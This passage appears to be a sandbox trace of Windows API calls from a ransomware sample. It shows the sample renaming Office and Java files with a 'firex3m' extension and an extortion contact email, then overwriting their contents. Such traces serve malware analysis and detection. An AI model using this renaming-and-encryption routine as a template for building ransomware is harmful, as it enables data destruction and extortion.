[0118.599] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.599] Sleep (dwMilliseconds=0x1) [0120.740] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 1 [0120.740] GetProcessHeap () returned 0x630000 [0120.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c8) returned 0x66a3e0 [0120.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0120.751] CloseHandle (hObject=0x6d8) returned 1 [0120.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP5EFC~1.FIR")) returned 0x6d5200 [0120.753] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0120.753] GetProcessHeap () returned 0x630000 [0120.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71aef98 [0120.753] GetProcessHeap () returned 0x630000 [0120.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ffcc70 [0120.754] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.754] ReadFile (in: hFile=0x6d8, lpBuffer=0x71aef98, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aef98*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0126.063] GetProcessHeap () returned 0x630000 [0126.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0126.063] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.063] WriteFile (in: hFile=0x6d8, lpBuffer=0x6ffcc70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc70*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.420] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.420] WriteFile (in: hFile=0x6d8, lpBuffer=0x700806f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x700806f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.298] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.298] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.298] CloseHandle (hObject=0x6d8) returned 1 [0128.439] GetProcessHeap () returned 0x630000 [0128.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ffcc70 | out: hHeap=0x630000) returned 1 [0128.440] GetProcessHeap () returned 0x630000 [0128.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aef98 | out: hHeap=0x630000) returned 1 [0128.440] GetProcessHeap () returned 0x630000 [0128.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0131.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x126f9e2a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x80e7a, dwReserved0=0xce07496, dwReserved1=0x71aef90, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP5EFC~1.FIR")) returned 0x6d5340 [0131.295] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0131.295] Sleep (dwMilliseconds=0x1) [0131.336] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties", len=0x47 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 1 [0131.336] GetProcessHeap () returned 0x630000 [0131.336] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x58) returned 0x66a3e0 [0131.336] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0131.339] CloseHandle (hObject=0x4dc) returned 1 [0131.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~3.FIR")) returned 0x6d5340 [0131.347] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0131.364] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0131.365] GetProcessHeap () returned 0x630000 [0131.365] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1001) returned 0x673b38 [0131.365] GetProcessHeap () returned 0x630000 [0131.365] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1001) returned 0x71b8cf8 [0131.365] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.365] ReadFile (in: hFile=0x6e4, lpBuffer=0x673b38, nNumberOfBytesToRead=0xfe0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesRead=0x3cfff0c*=0xfe0, lpOverlapped=0x0) returned 1 [0131.400] GetProcessHeap () returned 0x630000 [0131.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0131.401] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.401] WriteFile (in: hFile=0x6e4, lpBuffer=0x71b8cf8*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b8cf8*, lpNumberOfBytesWritten=0x3cfff0c*=0xfe0, lpOverlapped=0x0) returned 1 [0131.401] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.401] WriteFile (in: hFile=0x6e4, lpBuffer=0x71b9cd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b9cd7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.401] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.401] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.401] CloseHandle (hObject=0x6e4) returned 1 [0131.402] GetProcessHeap () returned 0x630000 [0131.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b8cf8 | out: hHeap=0x630000) returned 1 [0131.402] GetProcessHeap () returned 0x630000 [0131.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0131.402] GetProcessHeap () returned 0x630000 [0131.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0131.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14455075, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x100c, dwReserved0=0xce07496, dwReserved1=0x673b30, cFileName="messages_zh_CN.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~3.FIR")) returned 0x6d4ec0 [0131.403] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0131.403] Sleep (dwMilliseconds=0x1) [0131.453] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties", len=0x47 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 1 [0131.453] GetProcessHeap () returned 0x630000 [0131.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x50) returned 0x66a3e0 [0131.453] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.453] CloseHandle (hObject=0x694) returned 1 [0131.453] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEBB63~1.FIR")) returned 0x6d5340 [0131.454] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0131.454] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.454] GetProcessHeap () returned 0x630000 [0131.454] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xce1) returned 0x727d80 [0131.454] GetProcessHeap () returned 0x630000 [0131.454] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xce1) returned 0x673b38 [0131.454] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.455] ReadFile (in: hFile=0x694, lpBuffer=0x727d80, nNumberOfBytesToRead=0xcc0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x3cfff0c*=0xcc0, lpOverlapped=0x0) returned 1 [0131.468] GetProcessHeap () returned 0x630000 [0131.468] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0131.468] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.468] WriteFile (in: hFile=0x694, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x3cfff0c*=0xcc0, lpOverlapped=0x0) returned 1 [0131.469] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.469] WriteFile (in: hFile=0x694, lpBuffer=0x6747f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6747f7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.469] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.469] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.469] CloseHandle (hObject=0x694) returned 1 [0131.470] GetProcessHeap () returned 0x630000 [0131.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0131.470] GetProcessHeap () returned 0x630000 [0131.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0131.470] GetProcessHeap () returned 0x630000 [0131.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0131.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x144ed968, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcf9, dwReserved0=0xce07496, dwReserved1=0x727d78, cFileName="messages_pt_BR.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEBB63~1.FIR")) returned 0x6d4e40 [0131.470] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0131.470] Sleep (dwMilliseconds=0x1) [0133.305] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", len=0x44 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 1 [0133.306] GetProcessHeap () returned 0x630000 [0133.306] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe8) returned 0x66a3e0 [0133.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.306] CloseHandle (hObject=0x67c) returned 1 [0133.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0410~1.FIR")) returned 0x6d4f40 [0133.307] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0133.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.307] GetProcessHeap () returned 0x630000 [0133.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x941) returned 0x697da8 [0133.307] GetProcessHeap () returned 0x630000 [0133.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x941) returned 0x6fc3c18 [0133.307] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.307] ReadFile (in: hFile=0x67c, lpBuffer=0x697da8, nNumberOfBytesToRead=0x920, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x3cfff0c*=0x920, lpOverlapped=0x0) returned 1 [0133.409] GetProcessHeap () returned 0x630000 [0133.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0133.409] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.409] WriteFile (in: hFile=0x67c, lpBuffer=0x6fc3c18*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc3c18*, lpNumberOfBytesWritten=0x3cfff0c*=0x920, lpOverlapped=0x0) returned 1 [0133.409] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.409] WriteFile (in: hFile=0x67c, lpBuffer=0x6fc4537*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc4537*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.409] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.409] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.409] CloseHandle (hObject=0x67c) returned 1 [0133.410] GetProcessHeap () returned 0x630000 [0133.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc3c18 | out: 